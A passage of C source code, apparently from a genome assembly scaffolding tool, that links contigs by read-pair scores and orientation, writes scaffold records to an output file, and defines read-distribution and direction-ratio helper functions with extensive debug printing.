rcdex_matrix[hit_rddex[disidd]][i] = 4;
}
if((ctg_length[i] >= mtg_length)&&(ctg_length[hit_rddex[disidd]] >= mtg_length))
printf("mapp: 1 max %d %d %d || %f %d %d %f %f || %d %d %d | %f %f\n",i,hit_rddex[disidd],r_matrix[i][disidd],disdex,OO_index1,ctg_oodex1[i],Dis_ratia1[disidd],Dis_ratia2[disidd],ctg_length[i],ctg_length[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],Dnd_score1[disidd],M_score);
else
printf("mapp: 1 %d %d %d || %f %d %d %f %f || %d %d %d | %f %f\n",i,hit_rddex[disidd],r_matrix[i][disidd],disdex,OO_index1,ctg_oodex1[i],Dis_ratia1[disidd],Dis_ratia2[disidd],ctg_length[i],ctg_length[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],Dnd_score1[disidd],M_score);
ctg_mapp1[i] = hit_rddex[disidd];
ctg_score1[i] = disdex;
ctg_rcoo1[i] = OO_index1;
/* add new lines */
if((rcdex_matrix[i][hit_rddex[disidd]] == 1)||(rcdex_matrix[i][hit_rddex[disidd]] == 4))
rc_matrix[i][hit_rddex[disidd]] = 1;
else
rc_matrix[i][hit_rddex[disidd]] = 0;
rc_matrix[hit_rddex[disidd]][i] = rc_matrix[i][hit_rddex[disidd]];
PP_matrix[i][ptp_list[i]] = hit_rddex[disidd];
ptp_list[i]++;
PN_matrix[hit_rddex[disidd]][ptn_list[hit_rddex[disidd]]] = i;
if((hit_rddex[disidd] == 257)||(i == 257))
printf("order: 1 %d %d %d %d\n",i,ptn_list[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],rcdex_matrix[hit_rddex[disidd]][i]);
PO_matrix[hit_rddex[disidd]][ptn_list[hit_rddex[disidd]]] = rcdex_matrix[hit_rddex[disidd]][i];
ptn_list[hit_rddex[disidd]]++;
ctg_hitnum[i]++;
}
OO_index2 = 0;
for(k=0;k<max_ctg;k++)
{
float DS = 0.0;
if(DD_score1[k] >= DD_score2[k])
{
DS = DD_score1[k];
if(DD_score2[k] == 0.0)
DS = 1000;
else
DS = DS/DD_score2[k];
}
else
{
DS = DD_score2[k];
if(DD_score1[k] == 0.0)
DS = 1000;
else
DS = DS/DD_score1[k];
}
if((ctg_length[hit_rddex[k]]>=n_length)&&(disdex2 < Dis_index[k])&&(ctg_rcindex[k]>=2)&&(Dis_ratia1[k] > 1.01)&&(Dis_ratia2[k] > 1.01)&&(Dis_score1[k] >= d_score)&&(Dis_score2[k] >= d_score)&&(Dnd_score1[k]<=N_score)&&(Dnd_score2[k]<=N_score)&&(DS < 50))
{
disdex2 = Dis_index[k];
OO_index2 = ctg_rcindex[k];
disidd = k;
}
}
if((ctg_length[i] < len_thresd)&&(ctg_length[hit_rddex[disidd]]< len_thresd))
{
M_score = m_score;
}
else
{
float set1 = ctg_length[i];
float set2 = ctg_length[hit_rddex[disidd]];
set1 = set1/len_thresd;
set2 = set2/len_thresd;
M_score = (set1+set2)*m_score*l_score;
}
dlinks[0] = rc0_matrix[i][hit_rddex[disidd]];
dlinks[1] = rc1_matrix[i][hit_rddex[disidd]];
dlinks[2] = rc2_matrix[i][hit_rddex[disidd]];
dlinks[3] = rc3_matrix[i][hit_rddex[disidd]];
dlinks[4] = 0;
Direction_Ratio(i,dlinks);
if(i==76||i==254)
printf("score2: %d %f %f %d %d %d %d %d\n",i,M_score,disdex2,dlinks[0],dlinks[1],dlinks[2],dlinks[3],dlinks[4]);
if((disdex2 > M_score)&&(dlinks[4] == 1))
{
if(dlinks[0] == rc0_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 1;
rcdex_matrix[hit_rddex[disidd]][i] = 1;
}
else if(dlinks[0] == rc1_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 2;
rcdex_matrix[hit_rddex[disidd]][i] = 3;
}
else if(dlinks[0] == rc2_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 3;
rcdex_matrix[hit_rddex[disidd]][i] = 2;
}
else if(dlinks[0] == rc3_matrix[i][hit_rddex[disidd]])
{
rcdex_matrix[i][hit_rddex[disidd]] = 4;
rcdex_matrix[hit_rddex[disidd]][i] = 4;
}
if((ctg_length[i] >= mtg_length)&&(ctg_length[hit_rddex[disidd]] >= mtg_length))
printf("mapp: 2 max %d %d %d || %f %d %d %f %f || %d %d %d | %f %f\n",i,hit_rddex[disidd],r_matrix[i][disidd],disdex2,OO_index2,ctg_oodex2[i],Dis_ratia1[disidd],Dis_ratia2[disidd],ctg_length[i],ctg_length[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],Dnd_score1[disidd],M_score);
else
printf("mapp: 2 %d %d %d || %f %d %d %f %f || %d %d %d | %f %f\n",i,hit_rddex[disidd],c_pairs,disdex2,OO_index2,ctg_oodex2[i],Dis_ratia1[disidd],Dis_ratia2[disidd],ctg_length[i],ctg_length[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],Dnd_score1[disidd],M_score);
// printf("mapp: 2 %d %d %d || %f %d %d %f %f || %d %d %d | %f %f\n",i,hit_rddex[disidd],r_matrix[i][disidd],disdex2,OO_index2,ctg_oodex2[i],Dis_ratia1[disidd],Dis_ratia2[disidd],ctg_length[i],ctg_length[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],Dnd_score1[disidd],M_score);
ctg_mapp2[i] = hit_rddex[disidd];
ctg_score2[i] = disdex2;
ctg_rcoo2[i] = OO_index2;
ctg_rcdex1[i] = OO_index2;
/* add new lines */
if((rcdex_matrix[i][hit_rddex[disidd]] == 1)||(rcdex_matrix[i][hit_rddex[disidd]] == 4))
rc_matrix[i][hit_rddex[disidd]] = 1;
else
rc_matrix[i][hit_rddex[disidd]] = 0;
rc_matrix[hit_rddex[disidd]][i] = rc_matrix[i][hit_rddex[disidd]];
PP_matrix[i][ptp_list[i]] = hit_rddex[disidd];
ptp_list[i]++;
PN_matrix[hit_rddex[disidd]][ptn_list[hit_rddex[disidd]]] = i;
if((hit_rddex[disidd] == 257)||(i == 257))
printf("order: 2 %d %d %d %d\n",i,ptn_list[hit_rddex[disidd]],rcdex_matrix[i][hit_rddex[disidd]],rcdex_matrix[hit_rddex[disidd]][i]);
PO_matrix[hit_rddex[disidd]][ptn_list[hit_rddex[disidd]]] = rcdex_matrix[hit_rddex[disidd]][i];
ptn_list[hit_rddex[disidd]]++;
ctg_hitnum[i]++;
}
}
}
for(i=0;i<max_ctg;i++)
{
for(j=0;j<max_ctg;j++)
{
if((rcdex_matrix[j][i] > 0)&&(rcdex_matrix[i][j] == 0))
{
if(rcdex_matrix[j][i] == 1)
rcdex_matrix[i][j] = 4;
else if(rcdex_matrix[j][i] == 2)
rcdex_matrix[i][j] = 3;
else if(rcdex_matrix[j][i] == 3)
rcdex_matrix[i][j] = 2;
else if(rcdex_matrix[j][i] == 4)
rcdex_matrix[i][j] = 1;
}
if((rcdex_matrix[j][i] == 0)&&(rcdex_matrix[i][j] > 0))
{
if(rcdex_matrix[i][j] == 1)
rcdex_matrix[j][i] = 4;
else if(rcdex_matrix[i][j] == 2)
rcdex_matrix[j][i] = 3;
else if(rcdex_matrix[i][j] == 3)
rcdex_matrix[j][i] = 2;
else if(rcdex_matrix[i][j] == 4)
rcdex_matrix[j][i] = 1;
}
}
}
for(k=0;k<max_ctg;k++)
{
if(ctg_hitnum[k] == 1)
{
int idi = ctg_mapp1[k];
if(ctg_mapp1[k] >= 0)
{
p_matrix[k][ctg_list[k]] = ctg_mapp1[k];
s_matrix[k][ctg_list[k]] = ctg_score1[k];
s2_matrix[k][ctg_mapp1[k]] = ctg_score1[k];
s2_matrix[ctg_mapp1[k]][k] = ctg_score1[k];
o_matrix[k][ctg_list[k]] = ctg_rcoo1[k];
ctg_list[k]++;
}
else if(ctg_mapp2[k] >= 0)
{
p_matrix[k][ctg_list[k]] = ctg_mapp2[k];
s_matrix[k][ctg_list[k]] = ctg_score2[k];
s2_matrix[k][ctg_mapp2[k]] = ctg_score2[k];
s2_matrix[ctg_mapp2[k]][k] = ctg_score2[k];
o_matrix[k][ctg_list[k]] = ctg_rcoo2[k];
ctg_list[k]++;
}
for(j=0;j<max_ctg;j++)
{
if((ctg_mapp1[j] == k)||(ctg_mapp2[j] == k))
{
int idi = ctg_hitnum[ctg_mapp1[j]];
int idj = ctg_hitnum[ctg_mapp2[j]];
printf("find the missing link: %d %d %d %d %d %d\n",k,j,ctg_mapp1[j],ctg_mapp2[j],idi,idj);
}
}
}
else if(ctg_hitnum[k] == 2)
{
p_matrix[k][ctg_list[k]] = ctg_mapp1[k];
s_matrix[k][ctg_list[k]] = ctg_score1[k];
s2_matrix[k][ctg_mapp1[k]] = ctg_score1[k];
s2_matrix[ctg_mapp1[k]][k] = ctg_score1[k];
o_matrix[k][ctg_list[k]] = ctg_rcoo1[k];
ctg_list[k]++;
p_matrix[k][ctg_list[k]] = ctg_mapp2[k];
s_matrix[k][ctg_list[k]] = ctg_score2[k];
s2_matrix[k][ctg_mapp2[k]] = ctg_score2[k];
s2_matrix[ctg_mapp2[k]][k] = ctg_score2[k];
o_matrix[k][ctg_list[k]] = ctg_rcoo2[k];
ctg_list[k]++;
}
}
for(k=0;k<max_ctg;k++)
{
int num_partner = 0;
int p_idi = -1;
int p_idk = -1;
int pscore1 = 0;
int pscore2 = 0;
int plists1 = 0;
int plists2 = 0;
for(j=0;j<max_ctg;j++)
{
for(i=0;i<ctg_list[j];i++)
{
if(p_matrix[j][i] == k)
{
p_index[num_partner] = j;
p_rcdex[num_partner] = o_matrix[j][i];
p_score[num_partner] = s_matrix[j][i];
p_lists[num_partner] = i;
num_partner++;
}
}
for(i=0;i<ctg_list[j];i++)
{
if(p_matrix[j][i] == k)
printf("Missing link: %d %d | %d %d %d %d | %d %d || %d %d %d %d || %d %d\n",k,j,i,p_matrix[j][i],s_matrix[j][i],o_matrix[j][i],ctg_length[k],ctg_length[j],rc0_matrix[k][j],rc1_matrix[k][j],rc2_matrix[k][j],rc3_matrix[k][j],ctg_mapp1[k],ctg_mapp2[k]);
}
}
if(num_partner > 0)
{
for(i=0;i<num_partner;i++)
{
if((p_rcdex[i]%2) == 0)
{
if(p_score[i] > pscore1)
{
p_idi = i;
pscore1 = p_score[i];
plists1 = p_lists[i];
}
}
else
{
if(p_score[i] > pscore2)
{
p_idk = i;
pscore2 = p_score[i];
plists2 = p_lists[i];
}
}
}
}
if(p_idi >= 0)
{
j = p_index[p_idi];
i = plists1;
if((o_matrix[j][i] == 1)||(o_matrix[j][i] == 2))
ctg_oodex1[k] = 0;
else
ctg_oodex1[k] = 1;
rc_matrix[k][j] = ctg_oodex1[k];
rc_matrix[j][k] = ctg_oodex1[k];
ctg_part1[k] = j;
if(k == 75)
printf("Equal:1 %d %d | %d %d\n",k,j,ctg_part1[k],ctg_part2[k]);
ctg_patnum[k]++;
ctg_links[k]++;
printf("Partner_1: %d %d %d | %d %d | %d %d || %d %d %d %d %d\n",k,j,i,s_matrix[j][i],o_matrix[j][i],ctg_length[k],ctg_length[j],rc0_matrix[k][i],rc1_matrix[k][i],rc2_matrix[k][i],rc3_matrix[k][i],ctg_mapp1[k]);
}
if(p_idk >= 0)
{
j = p_index[p_idk];
i = plists2;
if((o_matrix[j][i] == 1)||(o_matrix[j][i] == 2))
ctg_oodex2[k] = 0;
else
ctg_oodex2[k] = 1;
rc_matrix[k][j] = ctg_oodex2[k];
rc_matrix[j][k] = ctg_oodex2[k];
ctg_part2[k] = j;
if(k == 75)
printf("Equal: %d %d | %d %d\n",k,j,ctg_part1[k],ctg_part2[k]);
ctg_patnum[k]++;
ctg_links[k]++;
if(j != ctg_mapp2[k])
{
ctg_part1[j] = ctg_mapp2[k];
printf("PPPpartner: %d %d | %d %d\n",k,j,ctg_mapp1[k],ctg_mapp2[k]);
}
printf("Partner_2: %d %d %d | %d %d | %d %d || %d %d %d %d %d\n",k,j,i,s_matrix[j][i],o_matrix[j][i],ctg_length[k],ctg_length[j],rc0_matrix[k][j],rc1_matrix[k][j],rc2_matrix[k][j],rc3_matrix[k][j],ctg_mapp2[k]);
}
for(i=0;i<ctg_list[k];i++)
{
printf("link: %d %d %d %d %d\n",k,i,ctg_list[k],p_matrix[k][i],s_matrix[k][i]);
}
}
for(k=0;k<max_ctg;k++)
{
for(i=0;i<ctg_list[i];i++)
printf("k-428: %d %d %d %d | %d %d | %d %d\n",k,i,ctg_list[k],p_matrix[k][i],ctg_mapp1[k],ctg_mapp2[k],ctg_part1[k],ctg_part2[k]);
}
for(k=0;k<max_ctg;k++)
{
if(ptp_list[k] == 2)
{
if(ptn_list[k] == 0)
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
ctg_print[PP_matrix[k][1]] = 1;
printf("next:1 %d %d %d %d %d || %d\n",k,ctg_part1[k],ctg_part2[k],PP_matrix[k][0],PP_matrix[k][1],ptn_list[k]);
ctg_part1[k] = PP_matrix[k][0];
ctg_part2[k] = PP_matrix[k][1];
}
else if(ptn_list[k] == 1)
{
if((PN_matrix[k][0] == PP_matrix[k][0])||(PN_matrix[k][0] == PP_matrix[k][1]))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
ctg_print[PP_matrix[k][1]] = 1;
printf("next:2 %d %d %d %d %d || %d\n",k,ctg_part1[k],ctg_part2[k],PP_matrix[k][0],PP_matrix[k][1],ptn_list[k]);
ctg_part1[k] = PP_matrix[k][0];
ctg_part2[k] = PP_matrix[k][1];
}
}
else if(ptn_list[k] == 2)
{
if((PN_matrix[k][0] == PP_matrix[k][0])&&(PN_matrix[k][1] == PP_matrix[k][1]))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
ctg_print[PP_matrix[k][1]] = 1;
printf("next:3 %d %d %d %d %d || %d\n",k,ctg_part1[k],ctg_part2[k],PP_matrix[k][0],PP_matrix[k][1],ptn_list[k]);
ctg_part1[k] = PP_matrix[k][0];
ctg_part2[k] = PP_matrix[k][1];
}
else if((PN_matrix[k][0] == PP_matrix[k][1])&&(PN_matrix[k][1] == PP_matrix[k][0]))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
ctg_print[PP_matrix[k][1]] = 1;
printf("next:4 %d %d %d %d %d || %d\n",k,ctg_part1[k],ctg_part2[k],PP_matrix[k][0],PP_matrix[k][1],ptn_list[k]);
ctg_part1[k] = PP_matrix[k][0];
ctg_part2[k] = PP_matrix[k][1];
}
}
}
else if(ptp_list[k] == 1)
{
if(ptn_list[k] == 1)
{
if((ptn_list[k] == 1)&&(PP_matrix[k][0]==PN_matrix[k][0]))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
printf("next:5 %d %d %d %d %d || %d\n",k,ctg_part1[k],ctg_part2[k],PP_matrix[k][0],PP_matrix[k][1],ptn_list[k]);
if(PP_matrix[k][0] != ctg_part2[k])
ctg_part1[k] = PP_matrix[k][0];
}
}
}
}
for(k=0;k<max_ctg;k++)
{
printf("PPmatrix: %d %d | %d %d | %d %d %d || ",k,ptp_list[k],ctg_part1[k],ctg_part2[k],ptn_list[k],ctg_patnum[k],ctg_print[k]);
// printf("PPmatrix: %d %d | %d %d %d || ",k,ptp_list[k],ptn_list[k],ctg_patnum[k],ctg_print[k]);
for(i=0;i<ptp_list[k];i++)
printf("%d ",PP_matrix[k][i]);
printf("|| ");
for(i=0;i<ptn_list[k];i++)
printf("%d ",PN_matrix[k][i]);
printf("& ");
for(i=0;i<ptn_list[k];i++)
printf("%d ",PO_matrix[k][i]);
printf("\n");
}
for(k=0;k<max_ctg;k++)
{
if((ptn_list[k] == 1)&&(ptp_list[k] == 2))
{
if(PN_matrix[k][0] == PP_matrix[k][0])
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][1]] = 1;
PN_matrix[k][1] = PP_matrix[k][1];
PO_matrix[k][1] = rcdex_matrix[k][PP_matrix[k][1]];
ptn_list[k]++;
}
else if(PN_matrix[k][0] == PP_matrix[k][1])
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
PN_matrix[k][1] = PP_matrix[k][0];
PO_matrix[k][1] = rcdex_matrix[k][PP_matrix[k][0]];
ptn_list[k]++;
}
}
else if((ptn_list[k] == 0)&&(ptp_list[k] == 1))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
PN_matrix[k][0] = PP_matrix[k][0];
PO_matrix[k][0] = rcdex_matrix[k][PP_matrix[k][0]];
ptn_list[k]++;
}
else if((ptn_list[k] == 0)&&(ptp_list[k] == 2))
{
ctg_print[k] = 1;
ctg_print[PP_matrix[k][0]] = 1;
ctg_print[PP_matrix[k][1]] = 1;
PN_matrix[k][0] = PP_matrix[k][0];
PO_matrix[k][0] = rcdex_matrix[k][PP_matrix[k][0]];
ptn_list[k]++;
PN_matrix[k][1] = PP_matrix[k][1];
PO_matrix[k][1] = rcdex_matrix[k][PP_matrix[k][1]];
ptn_list[k]++;
}
}
for(k=0;k<max_ctg;k++)
{
printf("PPmatrix2: %d %d | %d %d | %d %d %d || ",k,ptp_list[k],ctg_part1[k],ctg_part2[k],ptn_list[k],ctg_patnum[k],ctg_print[k]);
// printf("PPmatrix: %d %d | %d %d %d || ",k,ptp_list[k],ptn_list[k],ctg_patnum[k],ctg_print[k]);
for(i=0;i<ptp_list[k];i++)
printf("%d ",PP_matrix[k][i]);
printf("|| ");
for(i=0;i<ptn_list[k];i++)
printf("%d ",PN_matrix[k][i]);
printf("& ");
for(i=0;i<ptn_list[k];i++)
printf("%d ",PO_matrix[k][i]);
printf("\n");
}
if((namef = fopen(argv[args+1],"w")) == NULL)
{
printf("ERROR main:: alignment file 2 \n");
exit(1);
}
n_scaff = 0;
for(k=0;k<max_ctg;k++)
{
int tbase = 0;
int print_tag = 0;
if(ptp_list[k] == 1)
{
if(ptn_list[k] == 1)
{
if((ptn_list[k] == 1)&&(PP_matrix[k][0]==PN_matrix[k][0]))
print_tag = 1;
}
}
// if(k==i_getindex)
printf("===========\n");
printf("hhh: %d %d %d %d\n",k,ctg_patnum[k],ctg_output[k],ptn_list[k]);
if((ptn_list[k]==0)&&(ctg_output[k]==0))
{
printf("supercontig1: tarseq_%d %d %d\n",k,k,ctg_patnum[k]);
fprintf(namef,"contig-1:%08d %d %d %d 0 0\n",0,n_scaff,k,ctg_length[k]);
printf("contig-1: %d %d %d 0 0\n",n_scaff,k,ctg_length[k]);
tbase = ctg_length[k];
printf("bases: %d %d %d\n",k,n_scaff,tbase);
ctg_output[k] = 1;
n_scaff++;
}
else if((print_tag==1)&&(ptn_list[k]==1)&&(ctg_output[k]==0))
{
int idd = k;
int idk = k;
int stopflag=0;
int num_loops=0;
// if(k==i_getindex)
// while(((ctg_part1[idd] >= 0)||(ctg_part2[idd] >= 0))&&((stopflag == 0)&&(ctg_links[idk]>0)&&(ctg_mask[idk]==0)&&(idk >= 0)&&(idd >= 0)))
// while((ctg_print[idd] == 1)&&((stopflag == 0)&&(ctg_links[idk]>0)&&(ctg_mask[idk]==0)&&(idk >= 0)&&(idd >= 0)))
while((ctg_print[idd] == 1)&&((stopflag == 0)&&(ctg_mask[idk]==0)&&(idk >= 0)&&(idd >= 0)))
{
int rc_idk = -1;
int rc_idi = 0;
printf("xxx: %d %d %d %d %d %d %d %d\n",k,idd,idk,ptn_list[k],ctg_used[k],ctg_used[idd],ctg_part1[idd],ctg_part2[idd]);
if(ctg_used[idk] == 0)
{
printf("hits: %d %d %d %d %d %d %d %d\n",k,idd,idk,ptn_list[idd],ctg_used[k],ctg_used[idd],ctg_part1[idd],ctg_part2[idd]);
if(ctg_used[idd] == 0)
{
int min_len = 2000000000;
int min_idd = 0;
int cono = 0;
if(ptn_list[idd] == 1)
{
idk = PN_matrix[idd][0];
if((PO_matrix[idd][0] >= 2)&&(PO_matrix[idd][0] <= 3))
rc_idk = 0;
else
rc_idk = 1;
}
else
{
for(m=0;m<ptn_list[idd];m++)
{
int rdex = PN_matrix[idd][m];
if(ctg_used[rdex] == 1)
{
if((PO_matrix[idd][m]%2) == 0)
cono = 2;
else
cono = 1;
}
printf("hits1: %d %d %d %d %d %d %d %d\n",m,idd,idk,ptn_list[idd],ctg_used[rdex],PO_matrix[idd][m],rdex,cono);
}
printf("hits2: %d %d %d %d %d %d %d %d\n",k,idd,idk,ptn_list[idd],ctg_used[k],ctg_used[idd],ctg_part1[idd],cono);
for(m=0;m<ptn_list[idd];m++)
{
int rdex = PN_matrix[idd][m];
int cdex = ctg_part2[rdex];
int mono;
mono = 0;
printf("hhh-: %d %d %d %d %d | %d %d || %d %d \n",m,rdex,idd,idk,ctg_used[rdex],cono,mono,ctg_part1[rdex],ctg_part2[rdex]);
if((ctg_length[rdex] < min_len)&&(ctg_used[rdex] == 0))
{
printf("hhh0: %d %d %d %d %d | %d %d || %d %d \n",m,rdex,idd,idk,ctg_used[rdex],cono,mono,ctg_part1[rdex],PO_matrix[idd][m]);
if((PO_matrix[idd][m]%2) == 0)
mono = 2;
else
mono = 1;
if(cono != mono)
{
min_len = ctg_length[rdex];
min_idd = m;
idk = PN_matrix[idd][m];
if((PO_matrix[idd][m] >= 2)&&(PO_matrix[idd][m] <= 3))
rc_idk = 0;
else
rc_idk = 1;
}
}
printf("hhh1: %d %d %d %d %d %d %d || %d %d \n",m,rdex,idd,idk,ctg_used[rdex],ctg_used[idk],ptn_list[idd],ctg_part1[rdex],ctg_part2[rdex]);
}
}
}
printf("hhhx: %d %d %d %d %d %d | %d %d\n",k,idd,idk,ctg_part1[idd],ctg_part2[idd],rc_idk,ctg_used[idd],ctg_used[idk]);
if((ptn_list[k]==1)&&(ctg_used[k]==0)&&(ctg_print[k] == 1))
{
printf("supercontig2: tarseq_%d %d %d %d %d %d\n",k,idd,idk,rc_idk,ctg_rcdex1[k],ctg_patnum[k]);
if(rc_idk==0)
{
if(rcdex_matrix[k][idk] == 1)
{
fprintf(namef,"contigg1:%08d %d %d %d 1 2\n",0,n_scaff,k,ctg_length[k]);
printf("contigg1: %d %d %d 0 %d\n",n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
}
else if(rcdex_matrix[k][idk] == 3)
{
fprintf(namef,"contigg1:%08d %d %d %d 0 3\n",0,n_scaff,k,ctg_length[k]);
printf("contigg1: %d %d %d 1 %d\n",n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
}
else
{
fprintf(namef,"contigg1:%08d %d %d %d 0 %d\n",0,n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
printf("contigg1: %d %d %d 0 %d\n",n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
}
ctg_output[k] = 1;
ctg_outrc[k] = 0;
if(idk!=k)
{
if((ctg_output[idk] == 0)&&(idk >= 0))
{
fprintf(namef,"contigg2:%08d %d %d %d 0 0\n",s2_matrix[k][idk],n_scaff,idk,ctg_length[idk]);
printf("contigg2: %d %d %d 0 0\n",n_scaff,idk,ctg_length[idk]);
ctg_outrc[idk] = 0;
ctg_part2[k] = idk;
ctg_part1[idk] = k;
}
ctg_output[idk] = 1;
}
}
else if(rc_idk==1)
{
fprintf(namef,"contigg1:%08d %d %d %d 0 %d\n",0,n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
printf("contigg1: %d %d %d 0 %d\n",n_scaff,k,ctg_length[k],rcdex_matrix[k][idk]);
ctg_output[k] = 1;
ctg_outrc[k] = 0;
if(idk!=k)
{
if((ctg_output[idk] == 0)&&(idk >= 0))
{
fprintf(namef,"contigg2:%08d %d %d %d 1 0\n",s2_matrix[k][idk],n_scaff,idk,ctg_length[idk]);
printf("contigg2: %d %d %d 1 0\n",n_scaff,idk,ctg_length[idk]);
ctg_outrc[idk] = 1;
ctg_part2[k] = idk;
ctg_part1[idk] = k;
}
ctg_output[idk] = 1;
}
}
else
{
fprintf(namef,"contigg1:%08d %d %d %d 0 4\n",0,n_scaff,k,ctg_length[k]);
printf("contigg1: %d %d %d 0 0\n",n_scaff,k,ctg_length[k]);
ctg_output[k] = 1;
}
tbase = tbase + ctg_length[k];
if(idk!=k)
tbase = tbase + ctg_length[idk];
ctg_used[k] = 0;
num_loops++;
}
else if((ctg_print[idd]==1)&&(idd!=idk))
{
int rc_idd = 0;
int rc_ide = 0;
// if(idk>=0)
tbase = tbase + ctg_length[idk];
if(rc_idk==0)
rc_idd = 0;
else if(rc_idk==1)
rc_idd = 1;
else if(rc_idk==2)
rc_idd = 0;
else if(rc_idk==3)
rc_idd = 1;
if(rc_idd!=rc_idi)
rc_ide = 1;
else
rc_ide = 0;
if(ctg_output[idk] == 0)
{
int outrc = 0;
if(ctg_outrc[idd] == 0)
outrc = rc_matrix[idd][idk];
else
{
if(rc_matrix[idd][idk] == 0)
outrc = 1;
else
outrc = 0;
}
ctg_outrc[idk] = outrc;
if(idk >= 0)
{
fprintf(namef,"contig-0:%08d %d %d %d %d 0\n",s2_matrix[idd][idk],n_scaff,idk,ctg_length[idk],outrc);
/*
fprintf(namef," PP: %d %d %d ",n_scaff,idk,ptn_list[idk]);
for(m=0;m<ptn_list[idk];m++)
fprintf(namef,"%d ",PN_matrix[idk][m]);
fprintf(namef,"|| ");
for(m=0;m<ptn_list[idk];m++)
fprintf(namef,"%d ",PO_matrix[idk][m]);
fprintf(namef,"\n");
*/
printf("contig-0: %d %d %d %d || %d %d %d %d %d\n",n_scaff,idk,ctg_length[idk],outrc,idd,idk,ctg_outrc[idd],ctg_outrc[idk],rc_matrix[idd][idk]);
ctg_part2[idd] = idk;
ctg_part1[idk] = idd;
}
}
ctg_output[idk] = 1;
rc_idi = rc_ide;
num_loops++;
}
// if(idd==i_getindex)
printf("hhh3: %d %d %d\n",k,idd,idk);
ctg_used[k] = 1;
ctg_used[idd] = 1;
idd = idk;
}
else
stopflag=1;
if(stopflag == 1)
break;
printf("hhh-xxx: %d %d %d %d %d %d %d\n",k,idd,idk,stopflag,ctg_print[idd],ctg_links[idk],ctg_mask[idk]);
}
if(tbase == 0)
tbase = ctg_length[idk];
if(num_loops != 0)
printf("bases: %d %d %d\n",idk,n_scaff,tbase);
n_scaff++;
}
}
for(k=0;k<max_ctg;k++)
{
int tbase = 0;
if(ctg_output[k] == 0)
{
printf("supercontig3: tarseq_%d %d %d\n",k,k,ctg_patnum[k]);
fprintf(namef,"contig-n:%08d %d %d %d 0 0\n",0,n_scaff,k,ctg_length[k]);
printf("contig-n: %d %d %d 0 0\n",n_scaff,k,ctg_length[k]);
tbase = ctg_length[k];
printf("bases: %d %d %d\n",k,n_scaff,tbase);
n_scaff++;
}
}
fclose(namef);
}
/* ========================================================= */
void Reads_Distribution(int nSeq, int R_len, int *rd_locus, int *rd_index)
/* ========================================================= */
{
int i,j,k,stopflag,num_steps,num_ave,*n_hit;
int num_hits,BAR = 5000;
int nstep = 20000;
double rate,rate2;
if((n_hit= (int *)calloc(nSeq,sizeof(int))) == NULL)
{
printf("ERROR Memory_Allocate: n_hit\n");
exit(1);
}
num_hits = 0;
num_steps = 0;
for(i=0;i<nSeq;i++)
{
/* search reads with an index < i */
/* search reads with an index > i */
stopflag=0;
j=i+1;
while((j<nSeq)&&(stopflag==0))
{
if((rd_locus[j]<(BAR+nstep))&&(rd_locus[i]>=BAR))
{
j++;
}
else
stopflag=1;
}
if((j-i)>=3)
{
rate = (j-i)*100;
rate = rate/nSeq;
// if((i_getindex == 3)&&(j_getindex == 52))
// printf("frequency:%d %d %f\n",j-i,BAR,rate);
n_hit[num_hits] = j-i;
BAR = BAR+nstep;
num_hits++;
num_steps++;
}
else if((j-i)<=2)
{
rate = 100;
rate = rate/nSeq;
BAR = rd_locus[i];
// num_steps++;
}
i=j-1;
}
rate2 = 0.0;
rate = R_len;
rate = rate/nstep;
if(num_steps > 0)
{
rate2 = num_steps;
rate2 = rate2/rate;
}
else
rate2 = 0.0;
c_score = rate2;
num_ave = nSeq;
if(num_hits == 0)
c_pairs = nSeq;
else
{
num_ave = num_ave/num_hits;
num_ave = num_ave*5;
c_pairs = 0;
for(i=0;i<num_hits;i++)
{
if(n_hit[i] <= num_ave)
c_pairs = c_pairs+n_hit[i];
}
}
// printf("Num_steps: %d %lf %lf %d\n",num_steps,rate,rate2,R_len);
}
/* ======================================= */
void Direction_Ratio(int nSeq,int *dlinks)
/* ======================================= */
{
double mf1,mf2,sigama;
int dlink_index[5];
int i,j,k;
void ArraySort2_Int2(int n, int *arr, int *brr);
for(i=0;i<4;i++)
dlink_index[i] = i;
ArraySort2_Int2(4,dlinks,dlink_index);
mf1 = dlinks[1];
mf1 = mf1/dlinks[0];
if(mf1 > 0.98)
dlinks[4] = 0;
else
dlinks[4] = 1;
}
/* ========================================================= */
void Normal_Distribution(int nSeq, int R_len, int *rd_locus, int *rd_index)
/* ========================================================= */
{
int i,j,k,stopflag,num_steps,num_hits,num_reads;
int hit_max,hit_loc,hit_buk,hit_siga;
int *n_hit,*s_len,BAR = 5000;
int nstep = 20000;
double rate,rate2,sigama;
if((n_hit= (int *)calloc(nSeq,sizeof(int))) == NULL)
{
printf("ERROR Memory_Allocate: n_hit\n");
exit(1);
}
if((s_len= (int *)calloc(nSeq,sizeof(int))) == NULL)
{
printf("ERROR Memory_Allocate: s_len\n");
exit(1);
}
num_reads = 0;
num_hits = 0;
num_steps = 0;
for(i=0;i<nSeq;i++)
{
/* search reads with an index < i */
/* search reads with an index > i */
stopflag=0;
j=i+1;
while((j<nSeq)&&(stopflag==0))
{
if((rd_locus[j]<(BAR+nstep))&&(rd_locus[i]>=BAR))
{
j++;
}
else
stopflag=1;
}
if((j-i)>1)
{
rate = (j-i)*100;
